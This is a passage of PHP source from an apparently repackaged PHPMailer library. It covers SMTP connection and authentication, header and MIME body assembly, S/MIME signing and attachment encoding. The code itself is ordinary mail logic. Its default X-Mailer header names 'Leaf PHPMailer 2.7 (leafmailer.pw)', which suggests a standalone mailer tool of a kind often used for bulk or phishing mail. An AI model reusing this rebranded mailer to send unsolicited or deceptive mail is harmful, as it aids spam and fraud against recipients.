                // Not a valid host entry
837
                continue;
838
            }
839
            $prefix = '';
840
            $secure = $this->SMTPSecure;
841
            $tls = ($this->SMTPSecure == 'tls');
842
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
843
                $prefix = 'ssl://';
844
                $tls = false; // Can't have SSL and TLS at the same time
845
                $secure = 'ssl';
846
            } elseif ($hostinfo[2] == 'tls') {
847
                $tls = true;
848
                // tls doesn't use a prefix
849
                $secure = 'tls';
850
            }
851
            //Do we need the OpenSSL extension?
852
            $sslext = defined('OPENSSL_ALGO_SHA1');
853
            if ('tls' === $secure or 'ssl' === $secure) {
854
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
855
                if (!$sslext) {
856
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
857
                }
858
            }
859
            $host = $hostinfo[3];
860
            $port = $this->Port;
861
            $tport = (integer)$hostinfo[4];
862
            if ($tport > 0 and $tport < 65536) {
863
                $port = $tport;
864
            }
865
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
866
                try {
867
                    if ($this->Helo) {
868
                        $hello = $this->Helo;
869
                    } else {
870
                        $hello = $this->serverHostname();
871
                    }
872
                    $this->smtp->hello($hello);
873
                    //Automatically enable TLS encryption if:
874
                    // * it's not disabled
875
                    // * we have openssl extension
876
                    // * we are not already using SSL
877
                    // * the server offers STARTTLS
878
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
879
                        $tls = true;
880
                    }
881
                    if ($tls) {
882
                        if (!$this->smtp->startTLS()) {
883
                            throw new phpmailerException($this->lang('connect_host'));
884
                        }
885
                        // We must resend HELO after tls negotiation
886
                        $this->smtp->hello($hello);
887
                    }
888
                    if ($this->SMTPAuth) {
889
                        if (!$this->smtp->authenticate(
890
                            $this->Username,
891
                            $this->Password,
892
                            $this->AuthType,
893
                            $this->Realm,
894
                            $this->Workstation
895
                        )
896
                        ) {
897
                            throw new phpmailerException($this->lang('authenticate'));
898
                        }
899
                    }
900
                    return true;
901
                } catch (phpmailerException $exc) {
902
                    $lastexception = $exc;
903
                    $this->edebug($exc->getMessage());
904
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
905
                    $this->smtp->quit();
906
                }
907
            }
908
        }
909
        // If we get here, all connection attempts have failed, so close connection hard
910
        $this->smtp->close();
911
        // As we've caught all exceptions, just report whatever the last one was
912
        if ($this->exceptions and !is_null($lastexception)) {
913
            throw $lastexception;
914
        }
915
        return false;
916
    }
917
    public function smtpClose()
918
    {
919
        if ($this->smtp !== null) {
920
            if ($this->smtp->connected()) {
921
                $this->smtp->quit();
922
                $this->smtp->close();
923
            }
924
        }
925
    }
926
    public function setLanguage($langcode = 'en', $lang_path = '')
927
    {
928
        // Define full set of translatable strings in English
929
        $PHPMAILER_LANG = array(
930
            'authenticate' => 'SMTP Error: Could not authenticate.',
931
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
932
            'data_not_accepted' => 'SMTP Error: data not accepted.',
933
            'empty_message' => 'Message body empty',
934
            'encoding' => 'Unknown encoding: ',
935
            'execute' => 'Could not execute: ',
936
            'file_access' => 'Could not access file: ',
937
            'file_open' => 'File Error: Could not open file: ',
938
            'from_failed' => 'The following From address failed: ',
939
            'instantiate' => 'Could not instantiate mail function.',
940
            'invalid_address' => 'Invalid address: ',
941
            'mailer_not_supported' => ' mailer is not supported.',
942
            'provide_address' => 'You must provide at least one recipient email address.',
943
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
944
            'signing' => 'Signing Error: ',
945
            'smtp_connect_failed' => 'SMTP connect() failed.',
946
            'smtp_error' => 'SMTP server error: ',
947
            'variable_set' => 'Cannot set or reset variable: ',
948
            'extension_missing' => 'Extension missing: '
949
        );
950
        if (empty($lang_path)) {
951
            // Calculate an absolute path so it can work if CWD is not here
952
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
953
        }
954
        $foundlang = true;
955
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
956
        // There is no English translation file
957
        if ($langcode != 'en') {
958
            // Make sure language file path is readable
959
            if (!is_readable($lang_file)) {
960
                $foundlang = false;
961
            } else {
962
                // Overwrite language-specific strings.
963
                // This way we'll never have missing translation keys.
964
                $foundlang = include $lang_file;
965
            }
966
        }
967
        $this->language = $PHPMAILER_LANG;
968
        return (boolean)$foundlang; // Returns false if language not found
969
    }
970
    public function getTranslations()
971
    {
972
        return $this->language;
973
    }
974
    public function addrAppend($type, $addr)
975
    {
976
        $addresses = array();
977
        foreach ($addr as $address) {
978
            $addresses[] = $this->addrFormat($address);
979
        }
980
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
981
    }
982
    public function addrFormat($addr)
983
    {
984
        if (empty($addr[1])) { // No name provided
985
            return $this->secureHeader($addr[0]);
986
        } else {
987
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
988
                $addr[0]
989
            ) . '>';
990
        }
991
    }
992
    public function wrapText($message, $length, $qp_mode = false)
993
    {
994
        if ($qp_mode) {
995
            $soft_break = sprintf(' =%s', $this->LE);
996
        } else {
997
            $soft_break = $this->LE;
998
        }
999
        // If utf-8 encoding is used, we will need to make sure we don't
1000
        // split multibyte characters when we wrap
1001
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
1002
        $lelen = strlen($this->LE);
1003
        $crlflen = strlen(self::CRLF);
1004
        $message = $this->fixEOL($message);
1005
        //Remove a trailing line break
1006
        if (substr($message, -$lelen) == $this->LE) {
1007
            $message = substr($message, 0, -$lelen);
1008
        }
1009
        //Split message into lines
1010
        $lines = explode($this->LE, $message);
1011
        //Message will be rebuilt in here
1012
        $message = '';
1013
        foreach ($lines as $line) {
1014
            $words = explode(' ', $line);
1015
            $buf = '';
1016
            $firstword = true;
1017
            foreach ($words as $word) {
1018
                if ($qp_mode and (strlen($word) > $length)) {
1019
                    $space_left = $length - strlen($buf) - $crlflen;
1020
                    if (!$firstword) {
1021
                        if ($space_left > 20) {
1022
                            $len = $space_left;
1023
                            if ($is_utf8) {
1024
                                $len = $this->utf8CharBoundary($word, $len);
1025
                            } elseif (substr($word, $len - 1, 1) == '=') {
1026
                                $len--;
1027
                            } elseif (substr($word, $len - 2, 1) == '=') {
1028
                                $len -= 2;
1029
                            }
1030
                            $part = substr($word, 0, $len);
1031
                            $word = substr($word, $len);
1032
                            $buf .= ' ' . $part;
1033
                            $message .= $buf . sprintf('=%s', self::CRLF);
1034
                        } else {
1035
                            $message .= $buf . $soft_break;
1036
                        }
1037
                        $buf = '';
1038
                    }
1039
                    while (strlen($word) > 0) {
1040
                        if ($length <= 0) {
1041
                            break;
1042
                        }
1043
                        $len = $length;
1044
                        if ($is_utf8) {
1045
                            $len = $this->utf8CharBoundary($word, $len);
1046
                        } elseif (substr($word, $len - 1, 1) == '=') {
1047
                            $len--;
1048
                        } elseif (substr($word, $len - 2, 1) == '=') {
1049
                            $len -= 2;
1050
                        }
1051
                        $part = substr($word, 0, $len);
1052
                        $word = substr($word, $len);
1053
                        if (strlen($word) > 0) {
1054
                            $message .= $part . sprintf('=%s', self::CRLF);
1055
                        } else {
1056
                            $buf = $part;
1057
                        }
1058
                    }
1059
                } else {
1060
                    $buf_o = $buf;
1061
                    if (!$firstword) {
1062
                        $buf .= ' ';
1063
                    }
1064
                    $buf .= $word;
1065
                    if (strlen($buf) > $length and $buf_o != '') {
1066
                        $message .= $buf_o . $soft_break;
1067
                        $buf = $word;
1068
                    }
1069
                }
1070
                $firstword = false;
1071
            }
1072
            $message .= $buf . self::CRLF;
1073
        }
1074
        return $message;
1075
    }
1076
    public function utf8CharBoundary($encodedText, $maxLength)
1077
    {
1078
        $foundSplitPos = false;
1079
        $lookBack = 3;
1080
        while (!$foundSplitPos) {
1081
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
1082
            $encodedCharPos = strpos($lastChunk, '=');
1083
            if (false !== $encodedCharPos) {
1084
                // Found start of encoded character byte within $lookBack block.
1085
                // Check the encoded byte value (the 2 chars after the '=')
1086
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
1087
                $dec = hexdec($hex);
1088
                if ($dec < 128) {
1089
                    // Single byte character.
1090
                    // If the encoded char was found at pos 0, it will fit
1091
                    // otherwise reduce maxLength to start of the encoded char
1092
                    if ($encodedCharPos > 0) {
1093
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
1094
                    }
1095
                    $foundSplitPos = true;
1096
                } elseif ($dec >= 192) {
1097
                    // First byte of a multi byte character
1098
                    // Reduce maxLength to split at start of character
1099
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
1100
                    $foundSplitPos = true;
1101
                } elseif ($dec < 192) {
1102
                    // Middle byte of a multi byte character, look further back
1103
                    $lookBack += 3;
1104
                }
1105
            } else {
1106
                // No encoded character found
1107
                $foundSplitPos = true;
1108
            }
1109
        }
1110
        return $maxLength;
1111
    }
1112
    public function setWordWrap()
1113
    {
1114
        if ($this->WordWrap < 1) {
1115
            return;
1116
        }
1117
        switch ($this->message_type) {
1118
            case 'alt':
1119
            case 'alt_inline':
1120
            case 'alt_attach':
1121
            case 'alt_inline_attach':
1122
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
1123
                break;
1124
            default:
1125
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
1126
                break;
1127
        }
1128
    }
1129
    public function createHeader()
1130
    {
1131
        $result = '';
1132
        if ($this->MessageDate == '') {
1133
            $this->MessageDate = self::rfcDate();
1134
        }
1135
        $result .= $this->headerLine('Date', $this->MessageDate);
1136
        // To be created automatically by mail()
1137
        if ($this->SingleTo) {
1138
            if ($this->Mailer != 'mail') {
1139
                foreach ($this->to as $toaddr) {
1140
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
1141
                }
1142
            }
1143
        } else {
1144
            if (count($this->to) > 0) {
1145
                if ($this->Mailer != 'mail') {
1146
                    $result .= $this->addrAppend('To', $this->to);
1147
                }
1148
            } elseif (count($this->cc) == 0) {
1149
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
1150
            }
1151
        }
1152
        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
1153
        // sendmail and mail() extract Cc from the header before sending
1154
        if (count($this->cc) > 0) {
1155
            $result .= $this->addrAppend('Cc', $this->cc);
1156
        }
1157
        // sendmail and mail() extract Bcc from the header before sending
1158
        if ((
1159
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
1160
            )
1161
            and count($this->bcc) > 0
1162
        ) {
1163
            $result .= $this->addrAppend('Bcc', $this->bcc);
1164
        }
1165
        if (count($this->ReplyTo) > 0) {
1166
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
1167
        }
1168
        // mail() sets the subject itself
1169
        if ($this->Mailer != 'mail') {
1170
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
1171
        }
1172
        if ($this->MessageID != '') {
1173
            $this->lastMessageID = $this->MessageID;
1174
        } else {
1175
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
1176
        }
1177
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
1178
        if (!is_null($this->Priority)) {
1179
            $result .= $this->headerLine('X-Priority', $this->Priority);
1180
        }
1181
        if ($this->XMailer == '') {
1182
            $result .= $this->headerLine(
1183
                'X-Mailer',
1184
                'Leaf PHPMailer 2.7 (leafmailer.pw)'
1185
            );
1186
        } else {
1187
            $myXmailer = trim($this->XMailer);
1188
            if ($myXmailer) {
1189
                $result .= $this->headerLine('X-Mailer', $myXmailer);
1190
            }
1191
        }
1192
        if ($this->ConfirmReadingTo != '') {
1193
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
1194
        }
1195
        // Add custom headers
1196
        foreach ($this->CustomHeader as $header) {
1197
            $result .= $this->headerLine(
1198
                trim($header[0]),
1199
                $this->encodeHeader(trim($header[1]))
1200
            );
1201
        }
1202
        if (!$this->sign_key_file) {
1203
            $result .= $this->headerLine('MIME-Version', '1.0');
1204
            $result .= $this->getMailMIME();
1205
        }
1206
        return $result;
1207
    }
1208
    public function getMailMIME()
1209
    {
1210
        $result = '';
1211
        $ismultipart = true;
1212
        switch ($this->message_type) {
1213
            case 'inline':
1214
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
1215
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
1216
                break;
1217
            case 'attach':
1218
            case 'inline_attach':
1219
            case 'alt_attach':
1220
            case 'alt_inline_attach':
1221
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
1222
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
1223
                break;
1224
            case 'alt':
1225
            case 'alt_inline':
1226
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
1227
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
1228
                break;
1229
            default:
1230
                // Catches case 'plain': and case '':
1231
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
1232
                $ismultipart = false;
1233
                break;
1234
        }
1235
        // RFC1341 part 5 says 7bit is assumed if not specified
1236
        if ($this->Encoding != '7bit') {
1237
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
1238
            if ($ismultipart) {
1239
                if ($this->Encoding == '8bit') {
1240
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
1241
                }
1242
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
1243
            } else {
1244
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
1245
            }
1246
        }
1247
        if ($this->Mailer != 'mail') {
1248
            $result .= $this->LE;
1249
        }
1250
        return $result;
1251
    }
1252
    public function getSentMIMEMessage()
1253
    {
1254
        return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
1255
    }
1256
    public function createBody()
1257
    {
1258
        $body = '';
1259
        //Create unique IDs and preset boundaries
1260
        $this->uniqueid = md5(uniqid(time()));
1261
        $this->boundary[1] = 'b1_' . $this->uniqueid;
1262
        $this->boundary[2] = 'b2_' . $this->uniqueid;
1263
        $this->boundary[3] = 'b3_' . $this->uniqueid;
1264
        if ($this->sign_key_file) {
1265
            $body .= $this->getMailMIME() . $this->LE;
1266
        }
1267
        $this->setWordWrap();
1268
        $bodyEncoding = $this->Encoding;
1269
        $bodyCharSet = $this->CharSet;
1270
        //Can we do a 7-bit downgrade?
1271
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
1272
            $bodyEncoding = '7bit';
1273
            $bodyCharSet = 'us-ascii';
1274
        }
1275
        //If lines are too long, and we're not already using an encoding that will shorten them,
1276
        //change to quoted-printable transfer encoding
1277
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
1278
            $this->Encoding = 'quoted-printable';
1279
            $bodyEncoding = 'quoted-printable';
1280
        }
1281
        $altBodyEncoding = $this->Encoding;
1282
        $altBodyCharSet = $this->CharSet;
1283
        //Can we do a 7-bit downgrade?
1284
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
1285
            $altBodyEncoding = '7bit';
1286
            $altBodyCharSet = 'us-ascii';
1287
        }
1288
        //If lines are too long, and we're not already using an encoding that will shorten them,
1289
        //change to quoted-printable transfer encoding
1290
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
1291
            $altBodyEncoding = 'quoted-printable';
1292
        }
1293
        //Use this as a preamble in all multipart message types
1294
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
1295
        switch ($this->message_type) {
1296
            case 'inline':
1297
                $body .= $mimepre;
1298
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
1299
                $body .= $this->encodeString($this->Body, $bodyEncoding);
1300
                $body .= $this->LE . $this->LE;
1301
                $body .= $this->attachAll('inline', $this->boundary[1]);
1302
                break;
1303
            case 'attach':
1304
                $body .= $mimepre;
1305
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
1306
                $body .= $this->encodeString($this->Body, $bodyEncoding);
1307
                $body .= $this->LE . $this->LE;
1308
                $body .= $this->attachAll('attachment', $this->boundary[1]);
1309
                break;
1310
            case 'inline_attach':
1311
                $body .= $mimepre;
1312
                $body .= $this->textLine('--' . $this->boundary[1]);
1313
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
1314
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
1315
                $body .= $this->LE;
1316
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
1317
                $body .= $this->encodeString($this->Body, $bodyEncoding);
1318
                $body .= $this->LE . $this->LE;
1319
                $body .= $this->attachAll('inline', $this->boundary[2]);
1320
                $body .= $this->LE;
1321
                $body .= $this->attachAll('attachment', $this->boundary[1]);
1322
                break;
1323
            case 'alt':
1324
                $body .= $mimepre;
1325
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
1326
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
1327
                $body .= $this->LE . $this->LE;
1328
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
1329
                $body .= $this->encodeString($this->Body, $bodyEncoding);
1330
                $body .= $this->LE . $this->LE;
1331
                if (!empty($this->Ical)) {
1332
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
1333
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
1334
                    $body .= $this->LE . $this->LE;
1335
                }
1336
                $body .= $this->endBoundary($this->boundary[1]);
1337
                break;
1338
            case 'alt_inline':
1339
                $body .= $mimepre;
1340
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
1341
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
1342
                $body .= $this->LE . $this->LE;
1343
                $body .= $this->textLine('--' . $this->boundary[1]);
1344
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
1345
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
1346
                $body .= $this->LE;
1347
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
1348
                $body .= $this->encodeString($this->Body, $bodyEncoding);
1349
                $body .= $this->LE . $this->LE;
1350
                $body .= $this->attachAll('inline', $this->boundary[2]);
1351
                $body .= $this->LE;
1352
                $body .= $this->endBoundary($this->boundary[1]);
1353
                break;
1354
            case 'alt_attach':
1355
                $body .= $mimepre;
1356
                $body .= $this->textLine('--' . $this->boundary[1]);
1357
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
1358
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
1359
                $body .= $this->LE;
1360
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
1361
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
1362
                $body .= $this->LE . $this->LE;
1363
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
1364
                $body .= $this->encodeString($this->Body, $bodyEncoding);
1365
                $body .= $this->LE . $this->LE;
1366
                $body .= $this->endBoundary($this->boundary[2]);
1367
                $body .= $this->LE;
1368
                $body .= $this->attachAll('attachment', $this->boundary[1]);
1369
                break;
1370
            case 'alt_inline_attach':
1371
                $body .= $mimepre;
1372
                $body .= $this->textLine('--' . $this->boundary[1]);
1373
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
1374
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
1375
                $body .= $this->LE;
1376
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
1377
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
1378
                $body .= $this->LE . $this->LE;
1379
                $body .= $this->textLine('--' . $this->boundary[2]);
1380
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
1381
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
1382
                $body .= $this->LE;
1383
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
1384
                $body .= $this->encodeString($this->Body, $bodyEncoding);
1385
                $body .= $this->LE . $this->LE;
1386
                $body .= $this->attachAll('inline', $this->boundary[3]);
1387
                $body .= $this->LE;
1388
                $body .= $this->endBoundary($this->boundary[2]);
1389
                $body .= $this->LE;
1390
                $body .= $this->attachAll('attachment', $this->boundary[1]);
1391
                break;
1392
            default:
1393
                // catch case 'plain' and case ''
1394
                $body .= $this->encodeString($this->Body, $bodyEncoding);
1395
                break;
1396
        }
1397
        if ($this->isError()) {
1398
            $body = '';
1399
        } elseif ($this->sign_key_file) {
1400
            try {
1401
                if (!defined('PKCS7_TEXT')) {
1402
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
1403
                }
1404
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
1405
                $file = tempnam(sys_get_temp_dir(), 'mail');
1406
                if (false === file_put_contents($file, $body)) {
1407
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
1408
                }
1409
                $signed = tempnam(sys_get_temp_dir(), 'signed');
1410
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
1411
                if (empty($this->sign_extracerts_file)) {
1412
                    $sign = @openssl_pkcs7_sign(
1413
                        $file,
1414
                        $signed,
1415
                        'file://' . realpath($this->sign_cert_file),
1416
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
1417
                        null
1418
                    );
1419
                } else {
1420
                    $sign = @openssl_pkcs7_sign(
1421
                        $file,
1422
                        $signed,
1423
                        'file://' . realpath($this->sign_cert_file),
1424
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
1425
                        null,
1426
                        PKCS7_DETACHED,
1427
                        $this->sign_extracerts_file
1428
                    );
1429
                }
1430
                if ($sign) {
1431
                    @unlink($file);
1432
                    $body = file_get_contents($signed);
1433
                    @unlink($signed);
1434
                    //The message returned by openssl contains both headers and body, so need to split them up
1435
                    $parts = explode("\n\n", $body, 2);
1436
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
1437
                    $body = $parts[1];
1438
                } else {
1439
                    @unlink($file);
1440
                    @unlink($signed);
1441
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
1442
                }
1443
            } catch (phpmailerException $exc) {
1444
                $body = '';
1445
                if ($this->exceptions) {
1446
                    throw $exc;
1447
                }
1448
            }
1449
        }
1450
        return $body;
1451
    }
1452
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
1453
    {
1454
        $result = '';
1455
        if ($charSet == '') {
1456
            $charSet = $this->CharSet;
1457
        }
1458
        if ($contentType == '') {
1459
            $contentType = $this->ContentType;
1460
        }
1461
        if ($encoding == '') {
1462
            $encoding = $this->Encoding;
1463
        }
1464
        $result .= $this->textLine('--' . $boundary);
1465
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
1466
        $result .= $this->LE;
1467
        // RFC1341 part 5 says 7bit is assumed if not specified
1468
        if ($encoding != '7bit') {
1469
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
1470
        }
1471
        $result .= $this->LE;
1472
        return $result;
1473
    }
1474
    protected function endBoundary($boundary)
1475
    {
1476
        return $this->LE . '--' . $boundary . '--' . $this->LE;
1477
    }
1478
    protected function setMessageType()
1479
    {
1480
        $type = array();
1481
        if ($this->alternativeExists()) {
1482
            $type[] = 'alt';
1483
        }
1484
        if ($this->inlineImageExists()) {
1485
            $type[] = 'inline';
1486
        }
1487
        if ($this->attachmentExists()) {
1488
            $type[] = 'attach';
1489
        }
1490
        $this->message_type = implode('_', $type);
1491
        if ($this->message_type == '') {
1492
            $this->message_type = 'plain';
1493
        }
1494
    }
1495
    public function headerLine($name, $value)
1496
    {
1497
        return $name . ': ' . $value . $this->LE;
1498
    }
1499
    public function textLine($value)
1500
    {
1501
        return $value . $this->LE;
1502
    }
1503
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
1504
    {
1505
        try {
1506
            if (!@is_file($path)) {
1507
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
1508
            }
1509
            // If a MIME type is not specified, try to work it out from the file name
1510
            if ($type == '') {
1511
                $type = self::filenameToType($path);
1512
            }
1513
            $filename = basename($path);
1514
            if ($name == '') {
1515
                $name = $filename;
1516
            }
1517
            $this->attachment[] = array(
1518
                0 => $path,
1519
                1 => $filename,
1520
                2 => $name,
1521
                3 => $encoding,
1522
                4 => $type,
1523
                5 => false, // isStringAttachment
1524
                6 => $disposition,
1525
                7 => 0
1526
            );
1527
        } catch (phpmailerException $exc) {
1528
            $this->setError($exc->getMessage());
1529
            $this->edebug($exc->getMessage());
1530
            if ($this->exceptions) {
1531
                throw $exc;
1532
            }
1533
            return false;
1534
        }
1535
        return true;
1536
    }
1537
    public function getAttachments()
1538
    {
1539
        return $this->attachment;
1540
    }
1541
    protected function attachAll($disposition_type, $boundary)
1542
    {
1543
        // Return text of body
1544
        $mime = array();
1545
        $cidUniq = array();
1546
        $incl = array();
1547
        // Add all attachments
1548
        foreach ($this->attachment as $attachment) {
1549
            // Check if it is a valid disposition_filter
1550
            if ($attachment[6] == $disposition_type) {
1551
                // Check for string attachment
1552
                $string = '';
1553
                $path = '';
1554
                $bString = $attachment[5];
1555
                if ($bString) {
1556
                    $string = $attachment[0];
1557
                } else {
1558
                    $path = $attachment[0];
1559
                }
1560
                $inclhash = md5(serialize($attachment));
1561
                if (in_array($inclhash, $incl)) {
1562
                    continue;
1563
                }
1564
                $incl[] = $inclhash;
1565
                $name = $attachment[2];
1566
                $encoding = $attachment[3];
1567
                $type = $attachment[4];
1568
                $disposition = $attachment[6];
1569
                $cid = $attachment[7];
1570
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
1571
                    continue;
1572
                }
1573
                $cidUniq[$cid] = true;
1574
                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
1575
                //Only include a filename property if we have one
1576
                if (!empty($name)) {
1577
                    $mime[] = sprintf(
1578
                        'Content-Type: %s; name="%s"%s',
1579
                        $type,
1580
                        $this->encodeHeader($this->secureHeader($name)),
1581
                        $this->LE
1582
                    );
1583
                } else {
1584
                    $mime[] = sprintf(
1585
                        'Content-Type: %s%s',
1586
                        $type,
1587
                        $this->LE
1588
                    );
1589
                }
1590
                // RFC1341 part 5 says 7bit is assumed if not specified
1591
                if ($encoding != '7bit') {
1592
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
1593
                }
1594
                if ($disposition == 'inline') {
1595
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
1596
                }
1597
                if (!(empty($disposition))) {
1598
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
1599
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
1600
                        $mime[] = sprintf(
1601
                            'Content-Disposition: %s; filename="%s"%s',
1602
                            $disposition,
1603
                            $encoded_name,
1604
                            $this->LE . $this->LE
1605
                        );
1606
                    } else {
1607
                        if (!empty($encoded_name)) {
1608
                            $mime[] = sprintf(
1609
                                'Content-Disposition: %s; filename=%s%s',
1610
                                $disposition,
1611
                                $encoded_name,
1612
                                $this->LE . $this->LE
1613
                            );
1614
                        } else {
1615
                            $mime[] = sprintf(
1616
                                'Content-Disposition: %s%s',
1617
                                $disposition,
1618
                                $this->LE . $this->LE
1619
                            );
1620
                        }
1621
                    }
1622
                } else {
1623
                    $mime[] = $this->LE;
1624
                }
1625
                // Encode as string attachment
1626
                if ($bString) {
1627
                    $mime[] = $this->encodeString($string, $encoding);
1628
                    if ($this->isError()) {
1629
                        return '';
1630
                    }
1631
                    $mime[] = $this->LE . $this->LE;
1632
                } else {
1633
                    $mime[] = $this->encodeFile($path, $encoding);
1634
                    if ($this->isError()) {
1635
                        return '';
1636
                    }
1637
                    $mime[] = $this->LE . $this->LE;
1638
                }
1639
            }
1640
        }
1641
        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
1642
        return implode('', $mime);
1643
    }
1644
    protected function encodeFile($path, $encoding = 'base64')
1645
    {
1646
        try {
1647
            if (!is_readable($path)) {
1648
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
1649
            }
1650
            $magic_quotes = get_magic_quotes_runtime();
1651
            if ($magic_quotes) {
1652
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
1653
                    set_magic_quotes_runtime(false);
1654
                } else {
1655
                    //Doesn't exist in PHP 5.4, but we don't need to check because
1656
                    //get_magic_quotes_runtime always returns false in 5.4+
1657
                    //so it will never get here
1658
                    ini_set('magic_quotes_runtime', false);
1659
                }
1660
            }
1661
            $file_buffer = file_get_contents($path);
1662
            $file_buffer = $this->encodeString($file_buffer, $encoding);
1663
            if ($magic_quotes) {
1664
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
1665
                    set_magic_quotes_runtime($magic_quotes);
1666
                } else {
1667
                    ini_set('magic_quotes_runtime', $magic_quotes);
1668
                }
1669
            }
1670
            return $file_buffer;
1671
        } catch (Exception $exc) {
1672
            $this->setError($exc->getMessage());
1673
            return '';
1674
        }
1675
    }
1676
    public function encodeString($str, $encoding = 'base64')
1677
    {
1678
